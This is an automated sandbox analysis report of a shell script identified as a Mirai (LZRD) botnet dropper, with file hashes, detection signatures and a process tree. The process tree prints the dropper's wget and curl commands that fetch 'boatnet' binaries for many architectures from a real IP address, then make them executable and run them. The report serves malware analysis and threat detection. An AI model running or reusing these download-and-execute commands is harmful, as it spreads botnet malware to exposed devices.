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Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/10/2024, 06:24

General

  • Target

    na.sh

  • Size

    2KB

  • MD5

    4b8885cf53734502d543862cb1a89f00

  • SHA1

    6a16f879228ca04c48854bd370b3f1d8142c8dad

  • SHA256

    7dafaee4c6dc91a023a6882f75d3b4c4404261d21e769043d9d19db88172b91a

  • SHA512

    6d8bf12b74faf46a6bd3e973cdac62e6b5692fdbd93804b679f8a79070dd8ae770a270efa1ebba6caad712fdfb503a843dd75bb8a04b57884d294d9e380a5b13

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/na.sh
    /tmp/na.sh
    1⤵
    • Writes file to tmp directory
    PID:654
    • /usr/bin/wget
      wget http://93.123.109.160/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:656
    • /usr/bin/curl
      curl -O http://93.123.109.160/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:678
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:683
      • /bin/chmod
        chmod +x boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
        2⤵
        • File and Directory Permissions Modification
        PID:684
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:685
      • /usr/bin/wget
        wget http://93.123.109.160/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:688
      • /usr/bin/curl
        curl -O http://93.123.109.160/hiddenbin/boatnet.mips
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:689
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:690
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
        2⤵
        • File and Directory Permissions Modification
        PID:691
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:692
      • /usr/bin/wget
        wget http://93.123.109.160/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:694
      • /usr/bin/curl
        curl -O http://93.123.109.160/hiddenbin/boatnet.arc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:702
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:710
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
          2⤵
          • File and Directory Permissions Modification
          PID:712
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:713
        • /usr/bin/wget
          wget http://93.123.109.160/hiddenbin/boatnet.i468
          2⤵
            PID:716
          • /usr/bin/curl
            curl -O http://93.123.109.160/hiddenbin/boatnet.i468
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:723
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:746
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
              2⤵
              • File and Directory Permissions Modification
              PID:747
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:749
            • /usr/bin/wget
              wget http://93.123.109.160/hiddenbin/boatnet.i686
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://93.123.109.160/hiddenbin/boatnet.i686
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:751
            • /bin/cat
              cat boatnet.i686
              2⤵
                PID:752
              • /bin/chmod
                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                2⤵
                • File and Directory Permissions Modification
                PID:753
              • /tmp/WTF
                ./WTF
                2⤵
                • Executes dropped EXE
                PID:754
              • /usr/bin/wget
                wget http://93.123.109.160/hiddenbin/boatnet.x86_64
                2⤵
                • Writes file to tmp directory
                PID:756
              • /usr/bin/curl
                curl -O http://93.123.109.160/hiddenbin/boatnet.x86_64
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:777
              • /bin/cat
                cat boatnet.x86_64
                2⤵
                  PID:784
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:785
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:786
                • /usr/bin/wget
                  wget http://93.123.109.160/hiddenbin/boatnet.mpsl
                  2⤵
                  • Writes file to tmp directory
                  PID:789
                • /usr/bin/curl
                  curl -O http://93.123.109.160/hiddenbin/boatnet.mpsl
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:793
                • /bin/cat
                  cat boatnet.mpsl
                  2⤵
                    PID:794
                  • /bin/chmod
                    chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:795
                  • /tmp/WTF
                    ./WTF
                    2⤵
                    • Executes dropped EXE
                    PID:796
                  • /usr/bin/wget
                    wget http://93.123.109.160/hiddenbin/boatnet.arm
                    2⤵
                    • Writes file to tmp directory
                    PID:798
                  • /usr/bin/curl
                    curl -O http://93.123.109.160/hiddenbin/boatnet.arm
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:799
                  • /bin/cat
                    cat boatnet.arm
                    2⤵
                      PID:800
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:801
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Writes file to system bin folder
                      • Reads runtime system information
                      PID:802
                    • /usr/bin/wget
                      wget http://93.123.109.160/hiddenbin/boatnet.arm5
                      2⤵
                      • Writes file to tmp directory
                      PID:806
                    • /usr/bin/curl
                      curl -O http://93.123.109.160/hiddenbin/boatnet.arm5
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:807
                    • /bin/cat
                      cat boatnet.arm5
                      2⤵
                        PID:808
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:809
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:810
                      • /usr/bin/wget
                        wget http://93.123.109.160/hiddenbin/boatnet.arm6
                        2⤵
                        • Writes file to tmp directory
                        PID:811
                      • /usr/bin/curl
                        curl -O http://93.123.109.160/hiddenbin/boatnet.arm6
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:812
                      • /bin/cat
                        cat boatnet.arm6
                        2⤵
                          PID:813
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:814
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:815
                        • /usr/bin/wget
                          wget http://93.123.109.160/hiddenbin/boatnet.arm7
                          2⤵
                          • Writes file to tmp directory
                          PID:816
                        • /usr/bin/curl
                          curl -O http://93.123.109.160/hiddenbin/boatnet.arm7
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:817
                        • /bin/cat
                          cat boatnet.arm7
                          2⤵
                            PID:818
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:819
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            • Modifies Watchdog functionality
                            • Writes file to system bin folder
                            • Reads runtime system information
                            PID:820
                          • /usr/bin/wget
                            wget http://93.123.109.160/hiddenbin/boatnet.ppc
                            2⤵
                            • Writes file to tmp directory
                            PID:824
                          • /usr/bin/curl
                            curl -O http://93.123.109.160/hiddenbin/boatnet.ppc
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:827
                          • /bin/cat
                            cat boatnet.ppc
                            2⤵
                              PID:828
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:829
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:830
                            • /usr/bin/wget
                              wget http://93.123.109.160/hiddenbin/boatnet.spc
                              2⤵
                              • Writes file to tmp directory
                              PID:832
                            • /usr/bin/curl
                              curl -O http://93.123.109.160/hiddenbin/boatnet.spc
                              2⤵
                              • Checks CPU configuration
                              • Writes file to tmp directory
                              PID:833
                            • /bin/cat
                              cat boatnet.spc
                              2⤵
                                PID:834
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:835
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:836
                              • /usr/bin/wget
                                wget http://93.123.109.160/hiddenbin/boatnet.m68k
                                2⤵
                                • Writes file to tmp directory
                                PID:838
                              • /usr/bin/curl
                                curl -O http://93.123.109.160/hiddenbin/boatnet.m68k
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:839
                              • /bin/cat
                                cat boatnet.m68k
                                2⤵
                                  PID:840
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:841
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:842
                                • /usr/bin/wget
                                  wget http://93.123.109.160/hiddenbin/boatnet.sh4
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:844
                                • /usr/bin/curl
                                  curl -O http://93.123.109.160/hiddenbin/boatnet.sh4
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:847
                                • /bin/cat
                                  cat boatnet.sh4
                                  2⤵
                                    PID:848
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 na.sh systemd-private-d385adfb7caf4b8691016f7e958d1aa8-systemd-timedated.service-msARAU WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:849
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:850

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                • /tmp/WTF

                                  Filesize

                                  23KB

                                  MD5

                                  506ddfc3e5aca187e25a5999e5a1831d

                                  SHA1

                                  b1d3848f7ba1aa7623dfbc847d8dacbca5638efd

                                  SHA256

                                  a9645840ed9e516a7929525539cb3f750e2176ee5a63a6ab5edc67b9857e85cc

                                  SHA512

                                  cace551488dfaf502f64dad0e72ce8114c89b09be173b1f8b5b25f2f707676f2b2a4563364de8a14e43c90745718faa4c56085be05b4afde2468b1b6d1bda9f8

                                • /tmp/WTF

                                  Filesize

                                  105KB

                                  MD5

                                  21cb9e50f7583be51d7c2eec46220853

                                  SHA1

                                  8ac118d9a592462cb678be9adb048a79513f630b

                                  SHA256

                                  0f6e8d1e905d8315a00958f27de5749d2f89c22905562583b3107637e951ef17

                                  SHA512

                                  9b1b431c05afbedf967fadd0dea0a9f8c45da6feae88782604853ed02ff0b5c489bc2133509c2cd309d23c2b6aa7ef210786f23974ba1d37b84df25c762e3bef

                                • /tmp/WTF

                                  Filesize

                                  220B

                                  MD5

                                  f1c24d9fa40a047ae22d2d3ae7dfeac9

                                  SHA1

                                  750274b02d5f5b00026a4f55b020f4285c693533

                                  SHA256

                                  219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                  SHA512

                                  36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                • /tmp/WTF

                                  Filesize

                                  21KB

                                  MD5

                                  efc47df0ee73aabfab41af37318e6c37

                                  SHA1

                                  accf3cbd7598fbef8db856b3b34c12754602b67e

                                  SHA256

                                  e333e97cda79c2a8f3bfbfb5d3955d1c621c72f5df85e04df8eda0a2ee0e4eaa

                                  SHA512

                                  e6b5b1d780b4ff3dc0fcaab57d79faf0c1d1ec5a5bf8e12cd7682fd48f1a286934f3d4eb53f2284ed916f0741a6d3d9faeb207ceec5c341dd677d3b82be6540c

                                • /tmp/WTF

                                  Filesize

                                  57KB

                                  MD5

                                  66a56c16f522b7bdf95f3234594f5c78

                                  SHA1

                                  a7ce279c0f911929710c3e8839f101ad042e05b1

                                  SHA256

                                  f342e0dcb37cd8e8aa83e23aba7a0bd55b6c0ef91781f5489d2639c2572b71e2

                                  SHA512

                                  27063ba284cf60d37ce989f1158e2b6e627dafc65781cf969a8e5c3ffb00a874da2cdd8ae0648899a494b96e9ceb7d1c0743002e8f8453807957eedc9c34625e

                                • /tmp/boatnet.x86

                                  Filesize

                                  20KB

                                  MD5

                                  564963951a15db2bf470836f8cab2ceb

                                  SHA1

                                  b8f28d04de5e47332496312ad77485c46bc36791

                                  SHA256

                                  1f605a76cf99ed4c898a7640ca264bc77d017f8da4faafe1bb784e7dd3a6f3af

                                  SHA512

                                  231a1ec99a07812b904a8fb2f2a52a2c7a9096227d3d9665fc7a0f0379250c1f36238cd0ea976dba043bc9bd68df34126f26aa65070722e8584263ade7c7acd6